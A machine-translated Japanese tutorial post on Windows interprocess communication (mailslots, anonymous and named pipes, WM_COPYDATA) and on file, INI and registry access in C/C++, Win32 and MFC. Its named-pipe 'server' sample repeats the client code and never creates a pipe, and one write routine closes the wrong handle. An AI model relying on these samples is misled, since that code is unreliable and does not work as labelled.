			LPCWSTR strBuf = A2W(pBuf);
			GlobalUnlock(hClip);
			SetDlgItemText(IDC_EDIT_RECV, strBuf);
		}
		CloseClipboard();
	}

}

7.5 プロセス間通信方式 - メールスロット

  • Mailslot メールスロットのカーネル オブジェクト
  • メールスロット通信を使用するプロセスは、サーバーとクライアントに分かれています。メールスロットはサーバーによって作成されます。作成時にメールスロット名を指定する必要があります。作成後、サーバーはメールスロットのハンドルを取得します。メールスロットが作成されると、クライアントはメールスロット名を使用してメールスロットを開くことができ、ハンドルを取得した後にメールスロットにメッセージを書き込むことができます。
  • メールスロット通信は一方向であり、サーバーのみがメールスロットからメッセージを読み取ることができ、クライアントはメッセージを書き込むことしかできません。メッセージは先入れ先出しです。クライアントによって最初に書き込まれたメッセージは、サーバーによって最初に読み取られます。
  • メールスロットを通じて通信されるデータは任意の形式にすることができますが、メッセージは 424 バイトを超えることはできません。
  • ローカル マシン内のプロセス間通信に加えて、メールスロットはホスト間でも通信できます。しかし、ホスト間のメールスロット通信では、ネットワークを介してデータを送信する際にデータグラムプロトコル(UDP)が使用されるため、信頼性の低い通信となります。ネットワーク上のメールスロットを介して通信する場合、クライアントはサーバーのホスト名またはドメイン名を知っている必要があります

CreateMailslot
サーバー

void CChildView::OnSlot()
{
    
    
	//    "\\\\.\\mailslot\\Mymailslot    \\.\mailslot\Mymailslot 
	//  1  创建一个邮槽
	LPCTSTR szSlotName = TEXT("\\\\.\\mailslot\\Mymailslot");
	HANDLE hSlot = CreateMailslot(szSlotName,
		0,                             // no maximum message size 
		MAILSLOT_WAIT_FOREVER,         // no time-out for operations 
		NULL); // default security

	if (hSlot == INVALID_HANDLE_VALUE)
	{
    
    
		TRACE("CreateMailslot failed with %d\n", GetLastError());
		return ;
	}
	// 2 读取数据
	char szBuf[100] = {
    
     0 };
	DWORD dwRead;
	TRACE("Begin ReadFile");
	if (!ReadFile(hSlot, szBuf, 100, &dwRead, NULL))
	{
    
    
		MessageBox(_T("读取数据失败"));
		CloseHandle(hSlot);
		return;
	}
	TRACE("End ReadFile");
	MessageBox((CStringW)szBuf);
	CloseHandle(hSlot);
}

クライアント

void CChildView::OnSend()
{
    
    
	// 创建一个文件句柄
	LPCTSTR szSlotName = TEXT("\\\\.\\mailslot\\Mymailslot");
	HANDLE hMailSlot = 
		CreateFile(szSlotName, FILE_GENERIC_WRITE, 
			FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,NULL );
	if (hMailSlot == INVALID_HANDLE_VALUE)
	{
    
    
		TRACE("CreateFile failed with %d\n", GetLastError());
		return;
	}

	//写入数据
	char szBuf[] = "C++ is handsome";
	DWORD dwWrite;
	if (!WriteFile(hMailSlot, szBuf, strlen(szBuf) + 1, &dwWrite, NULL))
	{
    
    
		MessageBox(_T("写入数据失败"));
		CloseHandle(hMailSlot);
		return;
	}
	CloseHandle(hMailSlot);
}

7.6 プロセス間通信方式 - 匿名パイプ Pipe

匿名パイプは名前のない一方向パイプであり、本質的には共有メモリ領域です。通常、親プロセスと子プロセス間の通信に使用されます。2 つのローカル プロセス間の通信のみが可能です。ネットワーク通信ができません。
共有メモリ

CreatePipe(
Out PHANDLE hReadPipe, // この変数はパイプの読み取りハンドルを受け取ります。
Out PHANDLE hWritePipe, // この変数はパイプの書き込みハンドルを受け取ります。
In_opt LPSECURITY_ATTRIBUTES lpPipeAttributes, // NULL
In DWORD nSize // のサイズパイプバッファ0:デフォルトのバッファ領域サイズ
);
子プロセスに継承できるかどうか

親プロセス

void CChildView::OnPipeCreate()
{
    
    
	// TODO: 在此添加命令处理程序代码
	//创建匿名管道
	SECURITY_ATTRIBUTES sa;
	sa.bInheritHandle = TRUE;
	sa.lpSecurityDescriptor = NULL;
	sa.nLength = sizeof(SECURITY_ATTRIBUTES);
	if (!CreatePipe(&hReadPipe, &hWritePipe, &sa, 0))
	{
    
    
		MessageBox(_T("匿名管道创建失败"));
		return;
	}
	//创建子进程
	STARTUPINFO strStartupInfo; //用来指定新进程窗口如何显示
	memset(&strStartupInfo, 0, sizeof(strStartupInfo));
	strStartupInfo.cb = sizeof(strStartupInfo);
	strStartupInfo.dwFlags = STARTF_USESTDHANDLES;
	strStartupInfo.hStdInput = hReadPipe;
	strStartupInfo.hStdOutput = hWritePipe;
	strStartupInfo.hStdError = GetStdHandle(STD_ERROR_HANDLE);

	PROCESS_INFORMATION szProcessInformation;
	memset(&szProcessInformation, 0, sizeof(szProcessInformation));

	int iRet = CreateProcess(
		_T("MailSlotClient.exe"),
		NULL,
		NULL,
		NULL,
		TRUE,
		0,
		NULL,
		NULL,
		&strStartupInfo,
		&szProcessInformation
	);
	if (iRet)
	{
    
    
		//创建成功
		CloseHandle(szProcessInformation.hProcess);
		CloseHandle(szProcessInformation.hThread);
		szProcessInformation.dwProcessId = 0;
		szProcessInformation.dwThreadId = 0;
		szProcessInformation.hThread = NULL;
		szProcessInformation.hProcess = NULL;
		
	}
	else
	{
    
    
		
		CloseHandle(hReadPipe);
		CloseHandle(hWritePipe);
		hReadPipe = NULL;
		hWritePipe = NULL;
		MessageBox(_T("创建子进程失败"));
		return;
	}

	
}


void CChildView::OnPipeRead()
{
    
    
	char szBuf[100] = {
    
     0 };
	DWORD dwRead;
	TRACE("Begin ReadFile");
	if (!ReadFile(hReadPipe, szBuf, 100, &dwRead, NULL))
	{
    
    
		MessageBox(_T("读取数据失败"));
		return;
	}
	TRACE("End PipeReadFile");
	MessageBox((CStringW)szBuf);
}


void CChildView::OnPipeWrite()
{
    
    
	//写入数据
	char szBuf[] = "C++ is best";
	DWORD dwWrite;
	if (!WriteFile(hWritePipe, szBuf, strlen(szBuf) + 1, &dwWrite, NULL))
	{
    
    
		MessageBox(_T("写入数据失败"));
		return;
	}
}

子プロセス

hReadCliPipe =GetStdHandle(STD_INPUT_HANDLE);
hWriteCliPipe = GetStdHandle(STD_OUTPUT_HANDLE);
void CChildView::OnCliPipeRead()
{
    
    
	char szBuf[100] = {
    
     0 };
	DWORD dwRead;
	TRACE("Begin ReadFile");  //查找所有引用shift + alt + F
	if (!ReadFile(hReadCliPipe, szBuf, 100, &dwRead, NULL))
	{
    
    
		MessageBox(_T("读取数据失败"));
		return;
	}
	TRACE("End PipeReadFile");
	MessageBox((CStringW)szBuf);
}


void CChildView::OnCliPipeWrite()
{
    
    
	char szBuf[] = "C++ is best";
	DWORD dwWrite;
	if (!WriteFile(hWriteCliPipe, szBuf, strlen(szBuf) + 1, &dwWrite, NULL))
	{
    
    
		MessageBox(_T("写入数据失败"));
		CloseHandle(hWriteCliPipe);
		return;
	}
	CloseHandle(hWriteCliPipe);
}

7.7 プロセス間通信方式 - 名前付きパイプ NamedPipe

Socket と同様に、ネットワーク上の異なるプロセス間の通信をサポートします。

CreateNamedPipe
HANDLE CreateNamedPipeA(
  LPCSTR                lpName,  // \.\pipe<i>pipename
  DWORD                 dwOpenMode,
  DWORD                 dwPipeMode,
  DWORD                 nMaxInstances,
  DWORD                 nOutBufferSize,
  DWORD                 nInBufferSize,
  DWORD                 nDefaultTimeOut,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes
);

接続を待っています

BOOL ConnectNamedPipe(
  HANDLE       hNamedPipe,
  LPOVERLAPPED lpOverlapped
);

WaitNamedPipe(szNamedPipeName, NMPWAIT_WAIT_FOREVER)

クライアント

void CChildView::OnConnectNamedPipe()
{
    
    
	LPCTSTR szNamedPipeName = TEXT("\\\\.\\pipe\\mypipe");
	if (0 == WaitNamedPipe(szNamedPipeName, NMPWAIT_WAIT_FOREVER))
	{
    
    
		MessageBox(_T("当前没有可以利用的管道"));
		return;
	}
	hNamedPipe =
		CreateFile(szNamedPipeName, GENERIC_READ | GENERIC_WRITE,
			0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hNamedPipe == INVALID_HANDLE_VALUE)
	{
    
    
		TRACE("CreateFile failed with %d\n", GetLastError());
		MessageBox(_T("打开命名管道失败!"));
		hNamedPipe = NULL;
		return;
	}

}


void CChildView::OnReadNamedPipe()
{
    
    
	char szBuf[100] = {
    
     0 };
	DWORD dwRead;
	if (!ReadFile(hNamedPipe, szBuf, 100, &dwRead, NULL))
	{
    
    
		MessageBox(_T("读取数据失败"));
		return;
	}
	MessageBox((CStringW)szBuf);
}


void CChildView::OnWriteNamedPipe()
{
    
    
	char szBuf[] = "NAMEDPIPE CLIENT";
	DWORD dwWrite;
	if (!WriteFile(hNamedPipe, szBuf, strlen(szBuf) + 1, &dwWrite, NULL))
	{
    
    
		MessageBox(_T("写入数据失败"));
		CloseHandle(hWriteCliPipe);
		return;
	}
	CloseHandle(hWriteCliPipe);
}

サーバ

void CChildView::OnConnectNamedPipe()
{
    
    
	LPCTSTR szNamedPipeName = TEXT("\\\\.\\pipe\\mypipe");
	if (0 == WaitNamedPipe(szNamedPipeName, NMPWAIT_WAIT_FOREVER))
	{
    
    
		MessageBox(_T("当前没有可以利用的管道"));
		return;
	}
	hNamedPipe =
		CreateFile(szNamedPipeName, GENERIC_READ | GENERIC_WRITE,
			0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hNamedPipe == INVALID_HANDLE_VALUE)
	{
    
    
		TRACE("CreateFile failed with %d\n", GetLastError());
		MessageBox(_T("打开命名管道失败!"));
		hNamedPipe = NULL;
		return;
	}

}


void CChildView::OnReadNamedPipe()
{
    
    
	char szBuf[100] = {
    
     0 };
	DWORD dwRead;
	if (!ReadFile(hNamedPipe, szBuf, 100, &dwRead, NULL))
	{
    
    
		MessageBox(_T("读取数据失败"));
		return;
	}
	MessageBox((CStringW)szBuf);
}


void CChildView::OnWriteNamedPipe()
{
    
    
	char szBuf[] = "NAMEDPIPE CLIENT";
	DWORD dwWrite;
	if (!WriteFile(hNamedPipe, szBuf, strlen(szBuf) + 1, &dwWrite, NULL))
	{
    
    
		MessageBox(_T("写入数据失败"));
		CloseHandle(hWriteCliPipe);
		return;
	}
	CloseHandle(hWriteCliPipe);
}

7.8 プロセス間通信方式 - WM_COPYDATA

  • WM_COPYDATA

  • wParam
    は、データが渡されるウィンドウのハンドルです。
    COPYDATASTRUCT
    渡されるデータを含む COPYDATASTRUCT 構造体へのポインタ。
    受信アプリケーションがこのメッセージを処理する場合は TRUE が返され、それ以外の場合は FALSE が返されます。

  • SPY++ ツールは、ウィンドウ ハンドルを見つけるために特別に使用されます
    。プロセスにデータを送信するには、まずプロセスのウィンドウ ハンドルを取得し、最初にタイトルを取得する必要があります。

送信側が
最初にヘッダーを取得します
ここに画像の説明を挿入します

void CWMCOPYDATASENDDlg::OnBnClickedSend()
{
    
    
	// 必须要知道标题  句柄  
	CString strWindowTitle = _T("MFCRecv");
	CString strDataToSend = _T("Hello ,this is Hello WM_COPYDATA");
	//句柄
	HWND hRecvWnd = ::FindWindow(NULL, strWindowTitle.GetBuffer(0));
	if (hRecvWnd != NULL && ::IsWindow(hRecvWnd))
	{
    
    
		//数据的封装
		COPYDATASTRUCT cpd;
		cpd.dwData = 0;
		cpd.cbData = strDataToSend.GetLength() * sizeof(TCHAR);
		cpd.lpData = (PVOID)strDataToSend.GetBuffer(0);
		::SendMessage(hRecvWnd, WM_COPYDATA, (WPARAM)(AfxGetApp()->m_pMainWnd),(LPARAM)&cpd);
	}
	strDataToSend.ReleaseBuffer();
}

受信側

BOOL CWMCOPYDATADlg::OnCopyData(CWnd* pWnd, COPYDATASTRUCT* pCopyDataStruct)
{
    
    
	//消息响应函数
	//解析数据
	LPCTSTR szText = (LPCTSTR)(pCopyDataStruct->lpData);
	DWORD dwLength = (DWORD)pCopyDataStruct->cbData;
	TCHAR szRecvText[1024] = {
    
     0 };
	memcpy(szRecvText, szText, dwLength);
	MessageBox(szRecvText, _T("Hello"), MB_OK);
	return CDialogEx::OnCopyData(pWnd, pCopyDataStruct);
}

7.9 プロセス間通信方式の比較

  • クリップボードは比較的シンプルです。クリップボードと匿名パイプは、同じマシン上の 2 つのプロセス間の通信のみを実現できますが、ネットワーク プロセス間の通信は実現できません。
  • メールスロットはブロードキャストベースであり、1 対多で送信できます。ただし、送信と受信ができるのは 1 つだけなので、送信と受信を同時に行う場合はコードを 2 回記述する必要があります。メールスロットの欠点: 転送されるデータ量は非常に少なく、424 バイト未満です。
  • 名前付きパイプとメールスロットにより、ネットワーク通信が可能になります。名前付きパイプは、ポイントツーポイントの単一通信のみ可能です。
  • WM_COPY_DATA はデータをカプセル化し、データを解析します。とても便利。データ量が多い場合は、名前付きパイプを使用することをお勧めします。

8 ファイル操作

ログ、操作設定ファイル、ini、レジストリ、オーディオ、ビデオのファイル ストレージ。
Linux ではすべてがファイルです

8.1C/C++操作ファイル

8.1.1 C言語操作ファイル fopen、fwrite

  • fopen(
    In_z char const* _FileName,
    In_z char const* _Mode
    );

  • errno_t __cdecl fopen_s(
    Outptr_result_maybenull FILE** _Stream,
    In_z char const* _FileName,
    In_z char const* _Mode
    );
    ここに画像の説明を挿入します

  • size_t __cdecl fwrite(
    In_reads_bytes (_ElementSize * _ElementCount) void const* _Buffer,
    In size_t _ElementSize,
    In size_t _ElementCount,
    Inout FILE* _Stream
    );
    宽字节言 wchar a[20] = “Hello”;
    ANSI char a[20] = “こんにちは”;

  • fseek(
    Inout FILE* _Stream, // FILE 構造体へのポインタ
    In long _Offset, // Offset
    In int _Origin // ファイルポインタの開始位置を指定 // SEEK_CUR 現在位置
    // SEEK_END ファイル終了位置 SEEK_SET ファイル開始位置
    );

  • Ftell はファイル ポインタの現在位置を返します。

8.1.2 C++ オペレーティング ファイル オフストリーム

  • Ofstream类
    (const char* _Filename, ios_base::openmode _Mode = ios_base::out,
    int _Prot = ios_base::_Default_open_prot)
    ここに画像の説明を挿入します

  • nポート
    ここに画像の説明を挿入します

  • ファイルを読み取る

	ifstream ifs("test.txt");
	char pBuf[100] = {
    
     0 };
	ifs.read(pBuf, 100);
	ifs.close();
	USES_CONVERSION;
	CString strBuf = A2W(pBuf);
	MessageBox(strBuf);
  • ファイルを書き込む
	ofstream ofs("2.txt");//第一个参数表示文件名,2 打开的方式,
 	ofs.write("Ofstream C++", strlen("Ofstream C++"));
	ofs.close();

8.2 Win32 API

ファイルの作成

ファイル パイプライン タンク 通信リソース ディスク デバイス コンソール カタログ

  • CreateFileW(
    In LPCWSTR lpFileName,//作成または開かれたオブジェクトの名前
    In DWORD dwDesiredAccess,//アクセス モード読み取り、読み書き書き込みクエリ 0 GENERIC_READ GENERIC_WRITE
    In DWORD dwShareMode,//共有モード 0
    In_opt LPSECURITY_ATTRIBUTES lpSecurityAttributes,//NULL子プロセスには継承できません
    In DWORD dwCreationDisposition,//ファイルの作成方法 CREATE_NEW CREATE_ALWAYS
    In DWORD dwFlagsAndAttributes,//ファイルの属性とフラグを設定します
    In_opt HANDLE hTemplateFile//NULL
    );
  • BOOL WriteFile(
    HANDLE hFile,
    LPCVOID lpBuffer,
    DWORD nNumberOfBytesToWrite, //書き込まれるバイト数
    LPDWORD lpNumberOfBytesWritten, //ファイルに実際に書き込まれたバイト数を受け取るために使用されます
    LPOVERLAPPED lpOverlapped
    );

Windows API書き込みファイル

		//windows API的写文件
		HANDLE hFile;
		hFile = CreateFile(_T("3.txt"), GENERIC_WRITE, 0, NULL, 
			CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
		if (hFile == INVALID_HANDLE_VALUE)
		{
    
    
			TRACE("INVALID_HANDLE_VALUE,ERRORCODE = %d",GetLastError());
			return;
		}
		DWORD dwWrites;
		WriteFile(hFile, "Win32API", strlen("Win32API"), &dwWrites, NULL);
		TRACE("##dwWrites = %d", dwWrites);
		CloseHandle(hFile);

Windows API 読み取りファイル

	//windows API的读文件
	HANDLE hFile;
	hFile = CreateFile(_T("3.txt"), GENERIC_READ, 0, NULL,
		OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	char pBuf[100] = {
    
    0};
	DWORD dwReads;
	ReadFile(hFile, pBuf, 100, &dwReads, NULL);
	TRACE("##dwReads = %d", dwReads);
	CloseHandle(hFile);

8.3 MFC 操作ファイル - CFile

  • ファイルの読み取り
    //MFC 読み取りファイル
//MFC读文件
// 	CFile  file("4.txt", CFile::modeRead);
// 	char szBuf[1024] = {0};
// 	DWORD dwFilelen;
// 	dwFilelen = file.GetLength();
// 	file.Read(szBuf, dwFilelen);
// 	file.Close();
// 	MessageBox(szBuf);
  • MFC でのファイル読み取りの高度な操作
	//MFC读文件的高阶操作
	CFileDialog fileDlg(TRUE);
	fileDlg.m_ofn.lpstrTitle = "Test";
	fileDlg.m_ofn.lpstrFilter = "Text Files(*.txt)\0*.txt\0All Files(*.*)\0*.*\0\0";
	if (IDOK == fileDlg.DoModal())
	{
    
    
		CFile  file(fileDlg.GetFileName(), CFile::modeRead);
		char szBuf[1024] = {
    
     0 };
		DWORD dwFilelen;
		dwFilelen = file.GetLength();
		file.Read(szBuf, dwFilelen);
		file.Close();
		MessageBox(szBuf);
	}
  • ファイルの書き込み:
	CFile  file("4.txt",CFile::modeCreate|CFile::modeWrite);
	char szBuf[1024] = "MFC操作文件";
	file.Write(szBuf, strlen(szBuf));
	file.Close();

8.4 設定ファイルへのアクセス、読み取り、書き込み -PrivateProfile

設定ファイルの書き込み

void CMyMFCFileView::OnWriteConfig()
{
    
    
// 	[metadata]
// 	title = 搜狗双拼
// 
// 	[声母]
// 	ch = I
// 		sh = U
// 		zh = V
// 		empty = O
	//获取当前路径
	WCHAR strPath[MAX_PATH] = {
    
    0};
	GetCurrentDirectoryW(MAX_PATH, strPath);
	TRACE("##strPath = %ls", strPath);
	//  当前路径 D:\Users\82835\source\repos\MyMFCFile\ + Test.ini
	CString strFilePath;
	strFilePath.Format(L"%ls//Test.ini", strPath);
	WritePrivateProfileStringW(L"metadata", L"title", L"搜狗双拼", strFilePath);
	WritePrivateProfileStringW(L"声母", L"ch", L"I", strFilePath);
	WritePrivateProfileStringW(L"声母", L"sh", L"U", strFilePath);
}

設定ファイル読み取り

void CMyMFCFileView::OnReadConfig()
{
    
    
	//获取当前路径
	WCHAR strPath[MAX_PATH] = {
    
     0 };
	WCHAR strTitle[MAX_PATH] = {
    
     0 };
	WCHAR strCh[MAX_PATH] = {
    
     0 };
	WCHAR strSh[MAX_PATH] = {
    
     0 };
	GetCurrentDirectoryW(MAX_PATH, strPath);
	TRACE("##strPath = %ls", strPath);
	//  当前路径 D:\Users\82835\source\repos\MyMFCFile\ + Test.ini
	CString strFilePath;
	strFilePath.Format(L"%ls//Test.ini", strPath);

	DWORD dwNum1 = GetPrivateProfileStringW(L"metadata", L"title",NULL,
		strTitle, MAX_PATH, strFilePath);

	DWORD dwNum2 = GetPrivateProfileStringW(L"声母", L"ch", NULL,
		strCh, MAX_PATH, strFilePath);

	DWORD dwNum3 = GetPrivateProfileStringW(L"声母", L"sh", NULL,
		strSh, MAX_PATH, strFilePath);

	TRACE("####dwNum1 = %d, dwNum2 = %d, dwNum3 = %d", dwNum1, dwNum2, dwNum3);
	 	USES_CONVERSION;
  	char* szTitle = W2A(strTitle);
	char* szCh= W2A(strCh);
	char* szSh = W2A(strSh);
	TRACE("####strTitle = %s, strCh = %s, strSh = %s", szTitle, szCh, szSh);
}

8.4 レジストリプログラミング - regedit

8.4.1 レジストリ API

  • レジストリはバイナリ ファイルに保存され、win32 API はレジストリを操作するための多数の関数を提供します。
  • レジストリ: Win+R キーの組み合わせ: regedit
  • RegCreateKey は、指定されたレジストリ キーを作成します
    RegCreateKeyW(
    In HKEY hKey, //開かれている現在の項目のハンドルは、実際にはそれらのブランチです
    In_opt LPCWSTR lpSubKey, //開かれている、または作成されているテーブル項目の名前
    Out PHKEY phkResult //Create またはオープンテーブルエントリハンドル regclosekey
    );
  • RegOpenKeyW(
    In HKEY hKey, //開かれている現在の項目のハンドルは、実際にはこれらのブランチ
    In_opt LPCWSTR lpSubKey,
    Out PHKEY phkResult
    );
  • //レジストリに書き込みます
    RegSetValueW(
    In HKEY hKey, //現在開かれている項目のハンドルは、実際にはそれらのブランチです
    In_opt LPCWSTR lpSubKey, //開かれている、または作成されているテーブル項目の名前
    In DWORD dwType, //指示が保存されます情報の種類 REG_SZ type
    In_reads_bytes_opt (cbData) LPCWSTR lpData, //レジストリに保存するデータ
    In DWORD cbData //保存する文字列データのサイズと長さ
    );
    RegSetValueExW(
    In HKEY hKey, //現在のopen 項目のハンドルは実際にはブランチです
    In_opt LPCWSTR lpValueName, //設定する値の名前を含む文字列へのポインタ
    Reserved DWORD Reserved,//予約パラメータ 0
    In DWORD dwType,//REG_BINARY
    In_reads_bytes_opt (cbData ) CONST BYTE * lpData、
    DWORD cbData
    );
  • 注釈表
    RegQueryValueW(
    In HKEY hKey,
    In_opt LPCWSTR lpSubKey,
    Out_writes_bytes_to_opt (*lpcbData, *lpcbData) __out_data_source(REGISTRY) LPWSTR lpData,
    Inout_opt PLONG lpcbData
    );

8.4.2 レジストリの読み取りと書き込み

  • レジストリの書き込み
	HKEY hKey;
	DWORD dwAge = 39;
	//创建注册表项  VS2019自带的调试器管理员权限运行  自己的生成是以用户的权限运行
	int ret = ::RegCreateKeyW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Rock\\admin", &hKey);
	if (ret != ERROR_SUCCESS)
	{
    
    
		TRACE("##RegCreateKeyW Failed ,ErrorCode = %d,ret = %d",GetLastError(), ret);
		MessageBox(L"创建注册表失败");
		return;
	}
	//写注册表
	
	ret = ::RegSetValueEx(hKey, L"age", 0, REG_DWORD, (CONST BYTE*) & dwAge, 4);
	if (ret != ERROR_SUCCESS)
	{
    
    
		TRACE("##RegSetValueEx Failed ,ErrorCode = %d,ret = %d", GetLastError(),ret);
		MessageBox(L"写注册表失败");
		return;
	}
	::RegCloseKey(hKey);	
  • レジストリの読み取り
	HKEY hKey;
	DWORD dwAge;
	//创建注册表项  VS2019自带的调试器管理员权限运行  自己的生成是以用户的权限运行
	int ret = ::RegOpenKeyW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Rock\\admin", &hKey);
	if (ret != ERROR_SUCCESS)
	{
    
    
		TRACE("##RegOpenKeyW Failed ,ErrorCode = %d,ret = %d", GetLastError(), ret);
		MessageBox(L"打开注册表失败");
		return;
	}

	//写注册表
	DWORD dwType;
	DWORD dwValue;
	ret = ::RegQueryValueEx(hKey, L"age", 0, &dwType, (LPBYTE) & dwAge, &dwValue);
	if (ret != ERROR_SUCCESS)
	{
    
    
		TRACE("##RegQueryValueEx Failed ,ErrorCode = %d,ret = %d", GetLastError(), ret);
		MessageBox(L"读注册表失败");
		return;
	}
	TRACE("###dwType = %d,dwValue = %d ,dwAge = %d", dwType, dwValue, dwAge);
	::RegCloseKey(hKey);

8.5 ファイル操作のエンタープライズレベルのアプリケーション

  • 1 デバッグ ログ debugview ファイル ログ: 警告ログ エラー ログ 5 つ星
  • 2 ビデオストレージ 4 つ星
  • 3ファイル転送CFileとソケットの組み合わせ 星4つ
  • 4 C 言語と MFC ファイル操作が広く使用されている; win32 API の使用量が少ない ifstream ofstream 3 つ星
  • 5 プロファイルウィンドウ 5 つ星
  • 6 レジストリ操作 ウイルスによるレジストリの逆操作 5 つ星
    概要:
    const char * および char *const: 定数ポインタ、およびポインタ定数 ファイル
    に対する C/C++/WIN32 API/MFC 操作 構成ファイルの
    操作
    レジストリ: アクセス許可

おすすめ

転載: blog.csdn.net/MOON_YZM/article/details/130201295